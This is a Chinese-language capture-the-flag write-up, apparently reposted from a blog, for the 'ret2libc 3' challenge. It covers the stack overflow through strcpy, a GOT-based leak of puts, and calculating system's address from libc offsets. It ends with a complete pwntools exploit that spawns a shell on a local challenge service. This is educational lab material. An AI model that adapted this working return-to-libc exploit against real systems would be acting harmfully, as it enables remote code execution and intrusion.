其他分享
首页 > 其他分享> > ret2libc 3

ret2libc 3

作者:互联网

ret2libc 3

漏洞点

image-20220305083411042

image-20220305083439292

src开辟了256字节空间,dest开辟了56个地址

strcpysrc中的字符串拷贝到dest

src可控

反汇编

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v4; // [esp+4h] [ebp-11Ch]
  int v5; // [esp+8h] [ebp-118h]
  char src[256]; // [esp+12h] [ebp-10Eh] BYREF
  char buf[10]; // [esp+112h] [ebp-Eh] BYREF
  int v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, buf, 0xAu);
  v8 = strtol(buf, v4, v5);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, src, 0x100u);
  Print_message(src);
  puts("Thanks you ~");
  return 0;
}

local val:

image-20220305084829153

plt是代码的填写者,got是代码的保存者

image-20220305092540033

程序并没有systemplt

image-20220305092708333

程序也并没有systemgot

但是因为puts函数已经被调用过了一次,所以可以直接通过GOT表查到puts@got的地址

这里可以使用下面的方式算出system的地址

已有libc文件,可以算出在libc中的putssystem中间的距离,已知puts的虚拟内存地址,system的地址可通过加上静态分析的道德中间距离算出

image-20220305115722152

示例图:

image-20220305113134636

分析后可以发现画反了

image-20220305113229403

sysem应该在低地址,puts应该在高地址

综上,正确的图应该是

image-20220305153602010

image-20220305114001380

可以计算出puts的地址应该在0xf7da4950

image-20220305114531701

随便输入数据,然后一直步过直到执行了strcpy

image-20220305114839602

image-20220305114902582

此时已经发生了栈溢出了

image-20220305114718799

计算栈溢出长度

exp

image-20220305164524434

from pwn import *
context.log_level = 'debug'

p = remote('127.0.0.1',10000)
elf = ELF('./ret2libc3')
libc = ELF('./libc-2.23.so')

p.sendlineafter(b" :",str(elf.got['puts']))
p.recvuntil(b" :")
puts_dny_addr = int(p.recvuntil(b"\n",drop = True),16)
libc_juli = libc.symbols['puts'] - libc.symbols['system']
sys_dny_addr = puts_dny_addr - libc_juli

payload = b'A'*60 + p32(sys_dny_addr) + p32(0xdeadbeef) + p32(next(elf.search(b"sh\x00")))

p.sendlineafter(b" :",payload)

p.interactive()

image-20220305164948992

标签:src,puts,libc,system,地址,ebp,ret2libc
来源: https://www.cnblogs.com/murkuo/p/15968579.html